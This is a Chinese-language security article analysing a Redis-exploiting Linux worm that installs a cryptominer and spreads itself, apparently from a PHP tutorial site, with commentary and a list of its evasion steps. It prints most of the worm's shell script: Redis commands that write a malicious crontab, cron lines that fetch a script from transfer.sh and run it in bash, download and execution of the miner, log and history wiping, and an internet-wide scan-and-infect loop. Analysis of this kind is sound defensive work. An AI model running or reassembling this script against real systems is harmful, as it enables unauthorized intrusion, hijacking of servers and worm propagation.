Linux Redis自动化挖矿感染蠕虫实例分析-Redis-PHP中文网

　　一、背景

　　自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后，由于其易用性，利用该问题入侵Linux服务进行挖矿、扫描等的黑客行为一直层出不穷;而在众多利用该问题入侵服务器进行黑产行为的案例中，其中就存在一类利用该问题进行挖矿并且会利用pnscan自动扫描感染其他机器;该类攻击一直存在，不过在近期又呈现数量增加的趋势，在最近捕获到多次，我们针对其做下具体的分析。

　　二、漏洞说明

　　首先针对利用的漏洞做个说明，Redis 默认情况下，会绑定在 0.0.0.0:6379，在没有利用防火墙进行屏蔽的情况下，将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 ~/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器;如果Redis服务是以root权限启动，可以利用该问题直接获得服务器root权限。

　　经过在ZoomEye和SHODAN检索，可以发现分别众多Redis服务开放在公网上，这些服务都可能成为攻击目标。

Linux Redis自动化挖矿感染蠕虫实例分析

　　三、入侵分析

Linux Redis自动化挖矿感染蠕虫实例分析

　　经过对捕获的事件进行分析，我们发现整个入侵流程大概是包含以下几个环节：1、扫描开放6379端口的Linux服务器(后续感染扫描网段为1.0.0.0/16到224.255.0.0/16)

　　2、通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root，然后通过在Redis中插入数据，将下载执行脚本的动作写入crontab任务

　　3、通过脚本实现以上的相关行为，完成植入并启动挖矿程序

　　4、再编译安装pnscan，继续扫描感染下一个目标

　　四、脚本分析

　　整个入侵利用以及后续的感染的实现，最主要的功能都是基于通过Redis问题写入crontab任务中下载执行的NaNd脚本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)来实现的，通过对它的分析，我们基本能够得到整个流程的所有细节，这是一个base脚本，我们通过解读来分析下它的相关功能。

　　1. sleep 1

　　2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete

　　3. [ -f .mxff0 ] && exit 0

　　4. echo 0 > .mxff0

　　这部分代码只要是用作重复执行的判断，将.mxff0文件作为标记文件，如果存在该文件则代表机器上已执行脚本，直接退出，否则写.mxff0文件并进行下一步动作;

　　5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

　　设置预置动作，在脚本退出后删除相关文件和脚本自身;

　　6. setenforce 0 2>/dev/null

　　7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

　　8. crontab -r 2>/dev/null

　　9. rm -rf /var/spool/cron 2>/dev/null

　　10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

　　11. rm -rf /tmp/* 2>/dev/null

　　12. rm -rf /var/tmp/* 2>/dev/null

　　13. rm -rf /etc/root.sh 2>/dev/null

　　14. sync && echo 3 > /proc/sys/vm/drop_caches

　　15. cat < /etc/security/limits.conf

　　16. * hard nofile 100000

　　17. * soft nofile 100000

　　18. root hard nofile 100000

　　19. root soft nofile 100000

　　20. * hard nproc 100000

　　21. * soft nproc 100000

　　22. root hard nproc 100000

　　23. root soft nproc 100000

　　24. EOF

　　这部分主要是修改系统的配置，6、7行为关闭SELINU;

　　然后清空/var/spool/cron，进而判断系统DNS服务器是否存在8.8.8.8，没有则添加;

　　11-13则清空系统tmp目录和删除相关文件;

　　14行清空系统缓存，而15-24则是修改系统的资源限制;

　　25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

　　26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

　　这里再进一步的增加iptables限制6379端口只允许本地访问，同时kill相关包含挖矿、redis客户端、爬虫等进程，这里的目的也比较简单，避免被其他黑客再次入侵，同时清除可能其他黑客入侵启动的进程;

　　28. rm -rf /tmp/* 2>/dev/null

　　29. rm -rf /var/tmp/* 2>/dev/null

　　30. echo 0 > /var/spool/mail/root

　　31. echo 0 > /var/log/wtmp

　　32. echo 0 > /var/log/secure

　　33. echo 0 > /root/.bash_history

　　清除相关登录日志、命令操作历史;

　　34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

　　35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

　　36. if cat /etc/*release | grep -i CentOS; then

　　37. yum clean all

　　38. yum install -y -q epel-release

　　39. yum install -y -q $YUM_PACKAGE_NAME

　　40. elif cat /etc/*release | grep -qi Red; then

　　41. yum clean all

　　42. yum install -y -q epel-release

　　43. yum install -y -q $YUM_PACKAGE_NAME

　　44. elif cat /etc/*release | grep -qi Fedora; then

　　45. yum clean all

　　46. yum install -y -q epel-release

　　47. yum install -y -q $YUM_PACKAGE_NAME

　　48. elif cat /etc/*release | grep -qi Ubuntu; then

　　49. export DEBIAN_FRONTEND=noninteractive

　　50. rm -rf /var/lib/apt/lists/*

　　51. apt-get update -q –fix-missing

　　52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

　　53. elif cat /etc/*release | grep -qi Debian; then

　　54. export DEBIAN_FRONTEND=noninteractive

　　55. rm -rf /var/lib/apt/lists/*

　　56. apt-get update –fix-missing

　　57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

　　58. elif cat /etc/*release | grep -qi Mint; then

　　59. export DEBIAN_FRONTEND=noninteractive

　　60. rm -rf /var/lib/apt/lists/*

　　61. apt-get update –fix-missing

　　62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

　　63. elif cat /etc/*release | grep -qi Knoppix; then

　　64. export DEBIAN_FRONTEND=noninteractive

　　65. rm -rf /var/lib/apt/lists/*

　　66. apt-get update –fix-missing

　　67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

　　68. else

　　69. exit 1

　　70. fi

　　71. sleep 1

　　72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

　　73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

　　74. sleep 1

　　75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

　　76. fi

　　这一长串的内容主要目的是下载并编译安装pnscan，从内容中我们可以看到对于不同操作系统的判断然后安装依赖的相关模块，然后才是从github下载pnscan的源码进行编译安装;至于为什么采用编译安装的形式，猜测是出于兼容不同系统以及每次编译生成的pnscan的MD5都不一样，避免形成固定特征;

　　77. tname=$( mktemp )

　　78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

　　79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

　　80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

　　81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

　　这部分主要是下载挖矿程序并重命名为.gpg，增加执行权限，执行后删除，同时重新上传到https://transfer.sh/ 获取新的链接;

　　82. [ -z “$NMURL” ] && NMURL=$OMURL

　　83. ncmd=$(basename $(mktemp))

　　84. sed ‘s|'”$OMURL”‘|'”$NMURL”‘|g’ < NaNd > $ncmd

　　85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

　　86. echo ‘flushall’ > .dat

　　87. echo ‘config set dir /var/spool/cron’ >> .dat

　　88. echo ‘config set dbfilename root’ >> .dat

　　89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

　　90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

　　91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

　　92. echo ‘save’ >> .dat

　　93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

　　94. echo ‘save’ >> .dat

　　95. echo ‘exit’ >> .dat

　　而这部分内容主要是生成新的.dat文件，包含将原来NaNd脚本里的里挖矿程序的下载地址替换为上一步上传到https://transfer.sh/ 得到的新地址，还有Redis利用的相关语句;

　　96. pnx=pnscan

　　97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

　　98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

　　99. for x in $( seq 1 224 | sort -R ); do

　　100. for y in $( seq 0 255 | sort -R ); do

　　101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o

　　102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

　　103. while read -r h p; do

　　104. cat .dat | redis-cli -h $h -p $p –raw &

　　105. done < .r.$x.$y.l

　　106. done

　　107. done

　　而步主要是调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标，然后利用redis-cli执行.dat中的命令，进行下个目标的感染;这里pnscan的-W参数值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’转换后内容‘*1rn$4rnINFOrn’，是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值，再通过-R参数值‘6f 73 3a 4c 69 6e 75 78′(转换后内容为os:Linux)判断是否Linux系统。

　　108. echo 0 > /var/spool/mail/root 2>/dev/null

　　109. echo 0 > /var/log/wtmp 2>/dev/null

　　110. echo 0 > /var/log/secure 2>/dev/null

　　111. echo 0 > /root/.bash_history 2>/dev/null

　　112. exit 0

　　最后就是收尾工作，清除相关日志和命令执行历史，同时在脚本退出的时候会触发脚本一开始用trap预置的动作，会做删除操作，删除相关文件和脚本自身(rm -rf m* NaNd tmp.* .r .dat $0)。

　　通过对脚本的解读，我们基本已经清楚整个蠕虫的行为和入侵流程，也就是我们开始所描述的流程。

　　另外，通过阅读脚本，我们发现虽然整个入侵流程并不是多复杂，但脚本其实有很多”工程化”的细节考虑，不得不让人惊叹入侵者的”考虑周到”：

　　1、利用.mxff0文件做重复执行检验，避免脚本的重复执行

　　2、为了增加成功性，一些环境的预处理：

　　a) 关闭SELINUX

　　b) 增加8.8.8.8的DNS